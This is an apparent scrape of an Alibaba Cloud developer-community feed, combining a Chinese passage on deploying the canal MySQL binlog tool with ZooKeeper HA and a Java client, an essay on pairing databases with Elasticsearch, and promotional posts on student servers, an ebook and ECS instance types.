      • 一旦出现异常情况,客户端可发起rollback情况,重新置位:删除所有的mark, 清理get请求位置,下次请求会从last ack cursor继续往后取
      HA机制设计

      canal的ha分为两部分,canal server和canal client分别有对应的ha实现

      • canal server: 为了减少对mysql dump的请求,不同server上的instance要求同一时间只能有一个处于running,其他的处于standby状态.
      • canal client: 为了保证有序性,一份instance同一时间只能由一个canal client进行get/ack/rollback操作,否则客户端接收无法保证有序。

      整个HA机制的控制主要是依赖了zookeeper的几个特性,watcher和EPHEMERAL节点(和session生命周期绑定),可以看下我之前zookeeper的相关文章。

      Canal Server:
      image.png

      大致步骤:

      1. canal server要启动某个canal instance时都先向zookeeper进行一次尝试启动判断 (实现:创建EPHEMERAL节点,谁创建成功就允许谁启动)
      2. 创建zookeeper节点成功后,对应的canal server就启动对应的canal instance,没有创建成功的canal instance就会处于standby状态
      3. 一旦zookeeper发现canal server A创建的节点消失后,立即通知其他的canal server再次进行步骤1的操作,重新选出一个canal server启动instance.
      4. canal client每次进行connect时,会首先向zookeeper询问当前是谁启动了canal instance,然后和其建立链接,一旦链接不可用,会重新尝试connect.

      Canal Client的方式和canal server方式类似,也是利用zookeeper的抢占EPHEMERAL节点的方式进行控制.

      2、环境要求

      • jdk建议使用1.6.25以上的版本
      • 当前的canal开源版本支持5.7及以下的版本

        1. mysql4.x版本没有经过严格测试,理论上是可以兼容
      • 开启mysql的binlog写入功能,并且配置binlog模式为row

        [mysqld]  
        log-bin=mysql-bin  
        binlog-format=ROW #选择row模式  
        server_id=1 #配置mysql replaction需要定义,不能和canal的slaveId重复  

        检查配置是否有效

        #查看binlog的开启状态及文件名
        mysql> show variables like '%log_bin%';
        #查看binlog当前的格式
        mysql> show variables like '%format%';
        #查看binlog文件列表
        mysql> show binary logs; 
        #查看binlog的状态
        mysql> show master status;
      • canal的原理是模拟自己为mysql slave,所以这里一定需要做为mysql slave的相关权限

        mysql> CREATE USER canal IDENTIFIED BY 'canal';    
        mysql> GRANT SELECT, REPLICATION SLAVE, REPLICATION CLIENT ON *.* TO 'canal'@'%';  
        # -- mysql> GRANT ALL PRIVILEGES ON *.* TO 'canal'@'%' ;  
        mysql> FLUSH PRIVILEGES; 

        针对已有的账户可通过grants查询权限:

        mysql> show grants for 'canal' ; 

      3、部署

      获取发布包

      方法1: (直接下载)

      访问:https://github.com/alibaba/canal/releases,会列出所有历史的发布版本包
      当前的最新版本是1.1.3

      wget https://github.com/alibaba/canal/releases/download/canal-1.1.3/canal.deployer-1.1.3.tar.gz

      方法2:  (自己编译)

      git clone git@github.com:alibaba/canal.git
      git co canal-1.1.3 #切换到对应的版本上
      mvn clean install -Denv=release

      执行完成后,会在canal工程根目录下生成一个target目录,里面会包含一个 canal.deployer-1.1.3.tar.gz

      配置介绍

      介绍配置之前,先了解下canal的配置加载方式:
      image.png

      canal配置方式有两种:

      1. ManagerCanalInstanceGenerator: 基于manager管理的配置方式,目前alibaba内部配置使用这种方式。大家可以实现CanalConfigClient,连接各自的管理系统,即可完成接入。
      2. SpringCanalInstanceGenerator:基于本地spring xml的配置方式,目前开源版本已经自带该功能所有代码,建议使用
      Spring配置方式介绍

      spring配置的原理是将整个配置抽象为两部分:

      • xxxx-instance.xml   (canal组件的配置定义,可以在多个instance配置中共享)
      • xxxx.properties   (每个instance通道都有各自一份定义,因为每个mysql的ip,帐号,密码等信息不会相同)

      通过spring的PropertyPlaceholderConfigurer通过机制将其融合,生成一份instance实例对象,每个instance对应的组件都是相互独立的,互不影响

      properties配置文件
      properties配置分为两部分:

      • canal.properties  (系统根配置文件)
      • instance.properties  (instance级别的配置文件,每个instance一份)

      canal.properties介绍:
      canal配置主要分为两部分定义:

      1. instance列表定义 (列出当前server上有多少个instance,每个instance的加载方式是spring/manager等)
      2. common参数定义,比如可以将instance.properties的公用参数,抽取放置到这里,这样每个instance启动的时候就可以共享. 【instance.properties配置定义优先级高于canal.properties】

      instance.properties介绍:

      1. 在canal.properties定义了canal.destinations后,需要在canal.conf.dir对应的目录下建立同名的文件
        比如:

         canal.destinations = example1,example2

      这时需要创建example1和example2两个目录,每个目录里各自有一份instance.properties.

      1. canal自带了一份instance.properties demo,可直接复制conf/example目录进行配置修改
      1. 如果canal.properties未定义instance列表,但开启了canal.auto.scan时
      • server第一次启动时,会自动扫描conf目录下,将文件名做为instance name,启动对应的instance
      • server运行过程中,会根据canal.auto.scan.interval定义的频率,进行扫描

        1. 发现目录有新增,启动新的instance
        2. 发现目录有删除,关闭老的instance
        3. 发现对应目录的instance.properties有变化,重启instance

      instance.xml配置文件
      目前默认支持的instance.xml有以下几种:

      • spring/memory-instance.xml
      • spring/default-instance.xml
      • spring/group-instance.xml

      在介绍instance配置之前,先了解一下canal如何维护一份增量订阅&消费的关系信息:

      • 解析位点 (parse模块会记录,上一次解析binlog到了什么位置,对应组件为:CanalLogPositionManager)
      • 消费位点 (canal server在接收了客户端的ack后,就会记录客户端提交的最后位点,对应的组件为:CanalMetaManager)

      对应的两个位点组件,目前都有几种实现:

      • memory (memory-instance.xml中使用)
      • zookeeper
      • mixed
      • period (default-instance.xml中使用,集合了zookeeper+memory模式,先写内存,定时刷新数据到zookeeper上)

      memory-instance.xml:
         所有的组件(parser , sink , store)都选择了内存版模式,记录位点的都选择了memory模式,重启后又会回到初始位点进行解析 

      **特点:** 速度最快,依赖最少(不需要zookeeper)

         场景:一般应用在quickstart,或者是出现问题后,进行数据分析的场景,不应该将其应用于生产环境

      default-instance.xml:
         store选择了内存模式,其余的parser/sink依赖的位点管理选择了持久化模式,目前持久化的方式主要是写入zookeeper,保证数据集群共享. 
         特点: 支持HA
         场景: 生产环境,集群化部署. 

      group-instance.xml:
          主要针对需要进行多库合并时,可以将多个物理instance合并为一个逻辑instance,提供客户端访问。

      **场景:** 分库业务。 比如产品数据拆分了4个库,每个库会有一个instance,如果不用group,业务上要消费数据时,需要启动4个客户端,分别链接4个instance实例。使用group后,可以在canal server上合并为一个逻辑instance,只需要启动1个客户端,链接这个逻辑instance即可. 
      

      instance.xml设计初衷:
        允许进行自定义扩展,比如实现了基于数据库的位点管理后,可以自定义一份自己的instance.xml,整个canal设计中最大的灵活性在于此

      HA模式配置

      修改canal.properties

      canal.zkServers =127.0.0.1:2181,127.0.0.1:2182,127.0.0.1:2183
      canal.destinations = example #当前server上部署的instance列表
      canal.instance.global.spring.xml = classpath:spring/default-instance.xml

      修改instance.properties

      canal.instance.mysql.slaveId=1234 #mysql集群配置中的serverId概念,需要保证和当前mysql集群中id唯一 (v1.1.x版本之后canal会自动生成,不需要手工指定)
      canal.instance.master.address=127.0.0.1:3306
      canal.instance.dbUsername=canal
      canal.instance.dbPassword=canal
      canal.instance.filter.regex=.*\..* #mysql 数据解析关注的表,Perl正则表达式.多个正则之间以逗号(,)分隔,转义符需要双斜杠(\)

      注意: 其他机器上的instance目录的名字需要保证完全一致,HA模式是依赖于instance name进行管理,同时必须都选择default-instance.xml配置,canal.instance.mysql.slaveId应该唯一。
      执行启动脚本startup.sh,启动后,你可以查看logs/example/example.log,只会看到一台机器上出现了启动成功的日志,其他的处于standby状态。

      客户端消费数据

      创建mvn工程,修改pom.xml,添加依赖:

      <dependency>
        <groupId>com.alibaba.otter</groupId>
        <artifactId>canal.client</artifactId>
        <version>1.1.3</version>
      </dependency>

      CanalClientTest代码

      package com.stepper.canalclient;
      
      import java.net.InetSocketAddress;
      import java.util.List;
      
      
      import com.alibaba.otter.canal.client.CanalConnectors;
      import com.alibaba.otter.canal.client.CanalConnector;
      import com.alibaba.otter.canal.common.utils.AddressUtils;
      import com.alibaba.otter.canal.protocol.Message;
      import com.alibaba.otter.canal.protocol.CanalEntry.Column;
      import com.alibaba.otter.canal.protocol.CanalEntry.Entry;
      import com.alibaba.otter.canal.protocol.CanalEntry.EntryType;
      import com.alibaba.otter.canal.protocol.CanalEntry.EventType;
      import com.alibaba.otter.canal.protocol.CanalEntry.RowChange;
      import com.alibaba.otter.canal.protocol.CanalEntry.RowData;
       
      public class CanalClientTest {
      
          public static void main(String args[]) { 
              String zkServers="127.0.0.1:2181,127.0.0.1:2182,127.0.0.1:2183";
              String destination="example";
              CanalConnector connector = CanalConnectors.newClusterConnector(zkServers,destination,"","");
              int batchSize = 1000;
              int emptyCount = 0;
              try {
                  connector.connect();
                  connector.subscribe(".*\..*");
      //            connector.rollback();
                  int totalEmptyCount = 120;
                  while (emptyCount < totalEmptyCount) {
                      Message message = connector.getWithoutAck(batchSize); // 获取指定数量的数据
      //                System.out.println(message.toString());
                      long batchId = message.getId();
                      int size = message.getEntries().size();
                      if (batchId == -1 || size == 0) {
                          emptyCount++;
                          System.out.println("empty count : " + emptyCount);
                          try {
                              Thread.sleep(1000);
                          } catch (InterruptedException e) {
                          }
                      } else {
                          emptyCount = 0;
                          // System.out.printf("message[batchId=%s,size=%s] n", batchId, size);
                          printEntry(message.getEntries());
                      }
      
                      connector.ack(batchId); // 提交确认
                      // connector.rollback(batchId); // 处理失败, 回滚数据
                  }
      
                  System.out.println("empty too many times, exit");
              } finally {
                  connector.disconnect();
              }
          }
      
          private static void printEntry(List<Entry> entrys) {
              for (Entry entry : entrys) {
                  if (entry.getEntryType() == EntryType.TRANSACTIONBEGIN || entry.getEntryType() == EntryType.TRANSACTIONEND) {
                      continue;
                  }
      
                  RowChange rowChage = null;
                  try {
                      rowChage = RowChange.parseFrom(entry.getStoreValue());
                  } catch (Exception e) {
                      throw new RuntimeException("ERROR ## parser of eromanga-event has an error , data:" + entry.toString(),
                              e);
                  }
      
                  EventType eventType = rowChage.getEventType();
                  System.out.println(String.format("================ binlog[%s:%s] , name[%s,%s] , eventType : %s",
                          entry.getHeader().getLogfileName(), entry.getHeader().getLogfileOffset(),
                          entry.getHeader().getSchemaName(), entry.getHeader().getTableName(),
                          eventType));
      
                  for (RowData rowData : rowChage.getRowDatasList()) {
                      if (eventType == EventType.DELETE) {
                          printColumn(rowData.getBeforeColumnsList());
                      } else if (eventType == EventType.INSERT) {
                          printColumn(rowData.getAfterColumnsList());
                      } else {
                          System.out.println("-------&gt; before");
                          printColumn(rowData.getBeforeColumnsList());
                          System.out.println("-------&gt; after");
                          printColumn(rowData.getAfterColumnsList());
                      }
                  }
              }
          }
      
          private static void printColumn(List<Column> columns) {
              for (Column column : columns) {
                  System.out.println(column.getName() + " : " + column.getValue() + "    update=" + column.getUpdated());
              }
          }
      
      
      }
      

      启动Canal Client后,操作数据库变更数据即可从控制台从看到消息。
      更多参数及介绍可以参考官方wiki文档.

      注意:

      • 生产环境下尽量采用HA的方式。
      • 关于Canal消费binlog的顺序,为保证binlog严格有序,尽量不要用多线程。
      • 如果Canal消费binlog后的数据要发往kafka,又要保证有序,kafka topic 的partition可以设置成1个分区。

      【转载请注明出处】: https://juejin.im/post/5ecf04ec5188254316147950

      ]]>
      DB 与 Elasticsearch 混合之应用系统场景分析探讨-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者介绍

      李猛,Elastic Stack深度用户,通过Elastic工程师认证,2012年接触Elasticsearch,对Elastic Stack技术栈开发、架构、运维等方面有深入体验,实践过多种大中型项目;为企业提供Elastic Stack咨询培训以及调优实施;多年实战经验,爱捣腾各种技术产品,擅长大数据,机器学习,系统架构。

      名词解释

      image.png

      DB:database,泛指关系型数据库,具有严格事务隔离机制的数据类库产品,如 mysql、sqlserver、postgresql、oracle、db2 等,db-engine 综合排名前面的全部是关系型数据库;

      ES:Elasticsearch,最好的开源搜索引擎产品,NoSQL 非关系型数据库,不具备严格事务隔离机制,当前 db-engine 综合排名第七;

      应用:本文泛指业务应用系统,是 OLTP 场景,非 OLAP 场景,大量运用事务型数据库产品的业务系统;

      索引:在关系型数据库中是指数据检索的算法,在 Elasticsearch 是指数据存储的虚拟空间概念,类同数据库中的表。

      背景需求

      • 为什么单一 DB 不能满足应用系统?
      • 为什么单一 ES 不能满足应用系统?
      • 为什么要使用 DB 结合 ES 混用的模式?

      而不是结合其它 NoSQL?比如 MongoDB?下面从技术层面与业务层面分析探讨。

      技术层面

      image.png

      DB 局限性

      关系型数据库索引基于最左优先原则,索引要按照查询需求顺序提前创建,不具备任意字段组合索引能力比如 某 xxx 表有 30 个字段,若要求依据任意字段组合条件查询,此时关系型数据库显然无法满足这种灵活需求,包括当下很受欢迎的 NoSQL 明星产品 Mongodb 也不能满足。

      关系型数据库支持有限度的关联查询,一般在业务应用系统中,关联表会控制在 2~3 个表(个人观点:有 3 个表关联的业务场景需要由技术架构师评估是否容许,开发工程师只容许 2 个表关联),且单表的数据量是要平衡考虑才可以,跨同构数据库源关联就更加不容许。

      那跨异构数据库源呢?不是不容许,实在是有心无力。关系型数据库普遍采用 B+ 树数据结构实现索引查询,面对超大数据量处理有天然的瓶颈,数据量超过百万千万级,复杂点的查询,性能下降很快,甚至无法运行。

      关系型数据库虽然也支持主从同步,支持读写分离,但集群是一种松散式的架构,集群节点感知能力脆弱,不成体系,弹性扩展能力不行。

      ES 互补性

      Elasticsearch 基于 Lucene 核心库构建,以倒排索引算法为基础,集成多种高效算法。Elasticsearch 默认为所有字段创建索引,任索引字段可组合使用,且查询效率相当高,相比关系型数据库索更加高效灵活。在业务系统中,有很多场景都需要这种任意字段组合查询的能力,简称通用搜索。

      Elasticsearch 的数据模型采用的是 Free Scheme 模式,以 JSON 主体,数据字段可以灵活添加,字段层级位置也可以灵活设置 ,关系数据库中需要多表关联查询,在 Elasticsearch 中可以通过反范式的关联能力,将多个业务表数据合并到一个索引中,采用对象嵌套的方式。

      Elasticsearch 天然分布式设计,副本与分片机制使得集群具备弹性扩展能力,可以应付超大的数据量查询,在单索引数据量十亿级也可以在亚秒内响应查询。

      Elasticsearch 的索引支持弹性搜索,可以指定一个索引搜索,也可以指定多个索引搜索,搜索结果由 ES 提供过滤合并,这就为业务系统提供了很灵活的操作空间,特别是在实时数据与历史数据方面,统一查询条件语法皆可执行。

      Elasticsearch 支持数据字段与索引字段分离,默认情况下,数据字段与索引字段是同时启用,实际在业务业务场景中,数据表中很多字段无需检索,只是为了存储数据,在查询时方便取回;很多检索字段也无需存储原始数据,只是检索过滤使用。

      DB 不等于 ES

      关系数据库定位全能型产品,强事务机制,数据写入性能一般,数据查询能力一般。Elasticsearch 定位查询分析型产品,弱事务机制,查询性能非常不错。DB 与 ES 各有优势劣势,不能等同取代。

      业务层面

      image.png

      业务领域复杂度

      在进入互联网/移动互联网/物联网之后,业务系统数据量的几何倍数增长,传统应当策略当然是采用分库分表机制,包括物理层面分库分表,逻辑层面分区等。非重要数据可以采用非关系型数据库存储,重要的业务数据一定是采用关系数据库存储,比如物流速运行业的客户订单数据,不容许有丢失出错。

      面对复杂业务系统需求,当下最流行的解决方式是采用微服务架构模式,微服务不仅仅局限上层应用服务,更深层次的是底层数据服务(微服务不在本次讨论之内),基于领域模型思维拆分分解。应用服务拆分成大大小小数个,可以几十个几百个,也可以更多,数据服务也拆分成大大小小数个。

      业务查询复杂度

      分库分表解决了数据的存储问题,但需要做合并查询却是个很麻烦的事,业务系统的查询条件一般是动态的,无法固定,更加不可能在分库分表时按照所有动态条件设计,这似乎代价太大。一般会选择更强大的查询数据库,比如 Elasticsearch 就非常合适。

      微服务架构模式解决了业务系统的单一耦合问题,但业务系统的查询复杂度确实提高不少,复杂点的应用服务执行一次查询,需要融合多个领域数据服务才能完成,特别是核心领域数据服务,几乎贯穿一个系统所有方面,比如物流速运行业订单领域。

      DB 与 ES 结合

      业务数据存储由关系型数据库负责,有强事务隔离机制,保障数据不丢失、不串乱、不覆盖,实时可靠。
      业务数据查询由 Elasticsearch 负责,分库分表的数据合并同步到 ES 索引;跨领域库表数据合并到同步 ES 索引,这样就可以高效查询。

      DB 与 ES 结合问题

      image.png

      关于DB与Elasticsearch混合主要有以下两个问题:同步实时性、数据一致性,本文不探讨此问题,后续会有专题讲述如何解决。

      混合场景

      前面已经论证了关系型数据库与 Elasticsearch 混合使用的必要性,接下来是探讨混合场景下的业务场景数据模型映射。

      单数据表 ->单索引

      image.png

      1)一对一映射关系,关系数据库有多少个表,Elasticsearch 就有多少个索引;

      2)关系数据库提供原始数据源,Elasticsearch 替代数据库成为查询引擎,替代列表查询场景;

      3)单数据表为水平分库分表设计,需要借助Elasticsearch 合并查询,如图:电商行业订单场景,日均订单量超过百万千万级,后端业务系统有需求合并查询;

      4)单数据表业务查询组合条件多,数据库索引查询能力局限,需要借助 Elasticsearch 全字段索引查询能力,主要替代列表查询场景。如:电商行业商品搜索场景,商品基础字段超过几十个,几乎全部都可以组合搜索。

      单数据表 ->多索引

      image.png

      1)一对多映射关系,单数据表映射到多个索引中;
      2)单数据表即作为 A索引的主体对象,一对一映射;
      3)单数据表也作为 B索引的子对象,嵌入到主体对象下面;
      4)基于微服务架构设计,在业务系统中,业务系统划分多个子领域,子领域也可以继续细分,如电商行业,订单领域与商品领域,订单表需要映射到订单索引,也需要与商品索引映射。

      多数据表 ->多索引

      image.png

      1)多对多映射关系,多个数据表映射到多个索引,复杂度高;
      2)一个中型以上的业务系统,会划分成多个领域,单领域会持续细分为多个子领域,领域之间会形成网状关系,业务数据相互关联;
      3)数据库表关联查询效率低,跨库查询能力局限,需要借助 Elasticsearch 合并;
      4)按照领域需求不同,合并为不同的索引文件,各索引应用会有差异,部分是通用型的,面向多个领域公用;部分是特殊型的,面向单个领域专用。

      多源数据表 ->多索引

      image.png

      1)多源多表,多对多映射关系,数据表与索引之间的映射关系是交叉型的,复杂度最高;
      2)一个大中型业务系统,不同的业务场景会采用不同的数据存储系统;
      3)关系型数据库多样化,如 A 项目采用 MySQL,B 项目采用 PostgreSQL,C 项目选用 SQLServer,业务系统通用型的查询几乎不能实现;
      4)非关系型数据库多样化,如 A 项目采用键值类型的 Redis,B 项目选用文档型的 MongoDB,业务系统同样也不能实现通用型查询;
      5)基于异构数据源通用查询的场景需求,同样需要借助 Elasticsearch 合并数据实现

      结语

      Elasticsearch 虽然早期定位是搜索引擎类产品,后期定位数据分析类产品,属于 NoSQL 阵营,且不支持严格事务隔离机制,但由于其先进的特性,在应用系统中也是可以大规模使用,能有效弥补了关系型数据库的不足。

      本文主旨探讨了 DB 与 ES 混合的需求背景与应用场景,目的不是评选 DB 与 ES 谁更优劣,是要学会掌握 DB 与 ES 平衡,更加灵活的运用到应用系统中去, 满足不同的应用场景需求,解决业务需求问题才是评判的标准。

      声明:本文由原文作者“李猛”授权转载,对未经许可擅自使用者,保留追究其法律责任的权利。


      image.png

      阿里云Elastic Stack】100%兼容开源ES,独有9大能力,提供免费X-pack服务(单节点价值$6000)

      相关活动


      更多折扣活动,请访问阿里云 Elasticsearch 官网

      阿里云 Elasticsearch 商业通用版,1核2G ,SSD 20G首月免费
      阿里云 Logstash 2核4G首月免费


      image.png

      image.png

      ]]>
      2020阿里云学生服务器申请地址购买攻略及配置选择-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 2020阿里云学生服务器优惠申请云翼计划,学生群体9.5元获得一台阿里云学生机ECS云服务器或者轻量应用服务器,学生服务器网分享2020年阿里云学生服务器申请地址、申请条件、学生认证方法、轻量和ECS云服务器选择方法:

      阿里云学生服务器

      阿里云学生服务器申请活动介绍

      阿里云学生服务器申请计划「云翼计划」2020年更新了,学生群体9.5元购买阿里云学生机的同时,还另外赠送云数据库MySQL和对象存储OSS,详细活动如下:

      活动名称:云翼计划
      活动时间:长期活动
      申请条件:24岁以下自动获得学生身份,无需学生认证
      代金券:阿里云服务器代金券领取
      学生优惠价:114元/年,57元6个月

      申请地址:[阿里云学生服务器申请「云翼计划」直达
      ](https://promotion.aliyun.com/ntms/act/campus2018.html?source=5176.11533457&userCode=r3yteowb&type=copy)

      阿里云学生服务器申请攻略

      阿里云降低了学生服务器的申请条件,以前需要学信网学生认证,现在只要24岁以下自动获得学生身份,所以申请很简单。

        1. 注册阿里云账号;
        1. 实名认证,实名认证信息为24岁以下;
        1. 选择云服务器配置购买即可。

      学生服务器配置及价格表

      云服务器 CPU/内存配置 公网宽带 磁盘存储 赠送云产品 学生价 活动地址
      云服务器ECS 1核2G 1M宽带 40G高效云盘 云数据库MySQL和OSS 114元/年 申请地址
      轻量应用服务器 1核2G 5M峰值带宽 40G SSD盘 云数据库MySQL和OSS 114元/年 申请地址

      如上表所示,2020阿里云学生服务器活动计划,免费赠送云数据库MySQL和对象存储OSS,学生机购买时长可选一年或者6个月(之前可以选择1个月)。阿里云提供的学生机有ECS云服务器和轻量应用服务器二选一,如何选择呢?参考下方:

      ECS云服务器和轻量应用服务器选择方法

      • ECS云服务器:阿里云明星产品,可以结合VPC、SLB负载均衡、云数据库等云产品实现高可用架构,支持集群部署;
      • 轻量应用服务器:集成一站式域名解析、网站发布、安全、运维、应用管理等功能,使用门槛低;不支持集群部署。

      综上,学生服务器网认为,ECS云服务器和轻量应用服务器的主要区别在于是否支持集群部署。

      如果是使用学生机来搭建个人博客类的单机应用,学生服务器网建议选择轻量应用服务器,ECS和轻量服务器CPU内存计算资源相同,但是轻量是5M峰值宽带,并且磁盘存储为40G的SSD云盘。如果是用来搭建访问量波动剧烈、高并发等应用,需要另外使用ECS、SLB、弹性伸缩等实例搭建高可用架构,则必须选择ECS实例。

      ]]>
      首次开放!阿里巴巴CIO学院独家教材《给ITer的技术前沿课》限时下载-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      点击免费下载
      《给ITer的技术前沿课》>>>

      这本电子书,就汇集了我们在技术攻疫(公益)大咖讲活动中的 10 位阿里巴巴的顶尖科学家、研究员对最前沿科技领域的深度解读,是我们提供给 IT 人或关注科技发展的人们的新春礼物。希望我们大家能通过不断的交流学习,练就过硬本领,更好的投身强国伟业!

                                         --阿里巴巴副总裁、阿里 CIO 学院院长 胡臣杰

      首次开放!阿里巴巴CIO学院独家教材《给ITer的技术前沿课》限时下载。
      CIO们在听怎样的技术课?他们关心什么样的技术领域?10位阿里巴巴科学家、研究员、技术专家深入解析,覆盖云计算、数据库、AI、安全、物联网技术趋势。给CIO的技术课,首次全线开放!

      test

      本书汇聚了阿里巴巴CIO学院的主要课程讲解实录,包括达摩院数据库首席科学家李飞飞,CAFFFE之父贾扬清,达摩院人工智能中心及城市大脑实验室主任华先胜,阿里巴巴达摩院研究员自动驾驶实验室负责人王刚,阿里无人驾驶实验室负责人陈俊波,达摩院高级研究员金榕,阿里巴巴高级研究员五福,云智能基础产品事业部负责人小邪,达摩院语言技术实验室负责人司罗,阿里云安全事业部总经理肖力等11位阿里巴巴顶尖科学家的深度解析。

      也可在PC端打开 https://developer.aliyun.com/topic/download?id=136 下载

      华先胜:人工智能:是风、是云,还是雨?

      人工智能技术广泛应用的今天,各行各业的发展均离不开人工智能的帮助。如何合理利用人工智能技术助力企业发展是每个企业都在思考的问题。阿里巴巴达摩院人工智能中心/城市大脑实验室负责人、国际电气与电子工程师协会院士华先胜将结合AI技术在各个行业的应用实例解析AI技术的发展现状,并对未来人工智能的发展做出预测。

      丁险峰:工业 4.0 中国之路探索

      与美日欧的“先进制造”不同,中国的制造业主要是“性价比制造”。在中国的性价比制造的基础上,如何做工业4.0,如何做柔性制造?中国的工业4.0要走的这条路跟美日欧这些国家的工业4.0之路到底有什么不同?

      贾扬清:人工智能是科学还是艺术?

      贾扬清向大家分享了人工智能的工程和产品实践,首先介绍了什么是人工智能以及人工智能的应用;然后和大家一起探讨了人工智能系统中的重要问题,如算法创新背后的算力突破、云上平台能提供的价值;最后给大家剖析了大数据和人工智能之间的关系,作为一个企业应该如何拥抱AI以及智能化年底企业布局的重点。

      蒋江伟:新基建之云上IT研发路 - 基于云架构的研发模式演进

      企业的数字化上云已经成为社会共识。5G、工业互联网、人工智能、云计算作为数字经济的主要基础设施,将成为中国新基建的主要内容。云将给IT部门及IT人员带来研发运维方面的革命性的变化与冲击。

      金榕:火了这么久的AI,现在怎么样了?

      近年来 AI 发展迅猛,从最初的萌芽到今天非常成功的应用,AI 有很多优秀的实践,同时也遇到了非常多的挑战,需要不断地通过技术革新来解决这些困局。阿里巴巴达摩院高级研究员金榕将通过本文介绍当前 AI 已取得的应用实践,解析 AI 的创新以及可探索的未来。

      李飞飞:如何看待数据库的未来?

      在这个全国抗疫的特殊时刻,阿里CIO学院希望与更多开发者站在一起,因此举办攻“疫”技术公益培训,分享技术在人类灾难前呈现的价值。在阿里CIO学院攻“疫”技术公益培训的第一场直播中,达摩院数据库首席科学家,阿里巴巴副总裁,ACM杰出科学家李飞飞(花名:飞刀)为大家带来了关于企业级数据库的前世今生分享。

      司罗:自然语言智能:为商业搭建语言桥梁

      摩院语言技术实验室负责人、ACM杰出科学家、阿里巴巴高级研究员司罗,他为大家做了题为《为商业搭建语言桥梁》的分享,主要介绍了当前自然语言研发的现状、趋势。

      沈加翔:淘宝千人千面背后的秘密:搜索推荐广告三位一体的在线服务体系AI·OS

      揭晓三位一体的在线服务体系AI·OS,及其技术架构演进,技术概况,云原生产品与实践。

      王刚:自动驾驶之路上的“能”与“不能”

      车在给人们生活带来便利的同时,也导致了交通拥堵、环境污染、交通事故等诸多问题。交通事故不仅带来巨大的经济损失,对生命健康的危害更加严重。实现安全、智能化的自动驾驶技术成为了人们的愿望。阿里巴巴布局自动驾驶技术已经两年时间,本次分享将详细介绍阿里巴巴对理解自动驾驶技术的理解。

      肖力:企业安全体系发展与最佳实践

      阿里巴巴副总裁、阿里云安全事业部总经理、阿里巴巴集团第一位安全工程师肖力为大家带来企业安全体系发展与最佳实践的介绍。内容包括企业安全体系的演变,阿里在整个企业安全体系各个基础风险域当中的一些最佳实践,以及云计算对安全体系的影响。



      阿里云开发者社区——藏经阁系列电子书,汇聚了一线大厂的技术沉淀精华,爆款不断。点击链接获取海量免费电子书:https://developer.aliyun.com/topic/ebook开发者藏经阁.jpg

      ]]>
      阿里云服务器1核2G,2核4G,4核8G,4核16G,8核16常用配置实例规格怎么选-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 我们在选择阿里云服务器配置的时候,一般用户选择的都是1核2G,2核4G,4核8G,4核16G,8核16这些常用配置,有些新手用户在确定CPU和内存配置之后,往往不知道如何选择实例规格了,参考以下这些常用配置的可选实例规格及使用场景也许能对您有所帮助。

      一.阿里云服务器1核2G配置可实例规格
      突发性能实例t5 共享标准型s6 共享计算型n4

      二.阿里云服务器2核4G配置可实例规格
      突发性能实例t5 计算型c5 计算型c6 高主频计算型hfc5 高主频计算型hfc6 计算网络增强型sn1ne 共享计算型n4 突发性能实例t6

      三.阿里云服务器4核8G配置可实例规格
      突发性能实例t5 共享计算型n4 共享标准型s6 计算网络增强型sn1ne 高主频计算型hfc5 高主频计算型hfc6 计算型c5 计算型c6

      四.阿里云服务器4核16G配置可实例规格
      突发性能实例t5 突发性能实例t6 共享标准型s6 高主频计算型hfc6 通用型g5 通用型g6 GPU计算型gn5i 本地SSD型i1 共享通用型mn4 通用网络增强型sn2ne

      五.阿里云服务器8核16G配置可实例规格
      突发性能实例t5 共享计算型n4 共享标准型s6 高主频计算型hfc5 高主频计算型hfc6 计算网络增强型sn1ne 计算型c5 计算型c6

      各个实例规格适用应用场景

      实例规格 适用应用场景
      突发性能实例t5
      突发性能实例t6
      Web应用服务器
      轻负载应用、微服务
      开发测试压测服务应用
      共享计算型n4 网站和Web应用程序
      开发环境、构建服务器、代码存储库、微服务、测试和暂存环境
      轻量级企业应用
      共享通用型mn4 网站和Web应用程序
      轻量级数据库、缓存
      综合应用,轻量级企业服务
      共享标准型s6 中小型网站和Web应用程序
      开发环境、构建服务器、代码存储库、微服务、测试和暂存环境等
      轻量级数据库、缓存
      轻量级企业应用、综合应用服务
      计算型c5
      计算型c6
      高网络包收发场景,例如视频弹幕、电信业务转发等
      Web前端服务器
      大型多人在线游戏(MMO)前端
      数据分析、批量计算、视频编码
      高性能科学和工程应用
      通用型g5 高网络包收发场景,例如视频弹幕、电信业务转发等
      各种类型和规模的企业级应用
      中小型数据库系统、缓存、搜索集群
      数据分析和计算
      计算集群、依赖内存的数据处理
      通用型g6 高网络包收发场景,例如视频弹幕、电信业务转发等
      各种类型和规模的企业级应用
      网站和应用服务器
      游戏服务器
      中小型数据库系统、缓存、搜索集群
      数据分析和计算
      计算集群、依赖内存的数据处理
      高主频计算型hfc5 高性能Web前端服务器
      高性能科学和工程应用
      MMO游戏、视频编码
      高主频计算型hfc6 高网络包收发场景,例如视频弹幕、电信业务转发等
      Web前端服务器
      大型多人在线游戏(MMO)前端
      数据分析、批量计算、视频编码
      高性能科学和工程应用
      计算网络增强型sn1ne 高网络包收发场景,例如视频弹幕、电信业务转发等
      Web前端服务器
      大型多人在线游戏(MMO)前端
      数据分析、批量计算、视频编码
      高性能科学和工程应用
      通用网络增强型sn2ne 高网络包收发场景,例如视频弹幕、电信业务转发等
      各种类型和规模的企业级应用
      中小型数据库系统、缓存、搜索集群
      数据分析和计算
      计算集群、依赖内存的数据处理
      GPU计算型gn5i 深度学习推理
      多媒体编解码等服务器端GPU计算工作负载
      本地SSD型i1 OLTP、高性能关系型数据库
      NoSQL数据库(例如Cassandra、MongoDB等)
      Elasticsearch等搜索场景

      了解了以上实例规格的适用场景之后,我们在根据自己的业务应用类型来选择就好选择多了,一般来说个人和一般企业用户选择共享型S6 共享计算型n4就行了,对于云服务器性能有特别要求的企业用户,可以根据自己的应用需求,选择计算型 通用型或高主频计算型的实例规格。

      在确定实例规格之后,实际购买过程中,我们一般都会选择阿里云的促销活动去购买,小编也整理了下1核2G,2核4G,4核8G,4核16G,8核16常用配置比较划算的几个活动价格:
      活动1:阿里云小站-限时秒杀专区
      1.共享型S6实例,2核4G3M带宽配置,云小站价格664.20元/年,节省金额1795.80元。

      2.计算型c6实例,2核4G3M带宽配置,云小站价格881.28元/年,节省金额2382.72元。

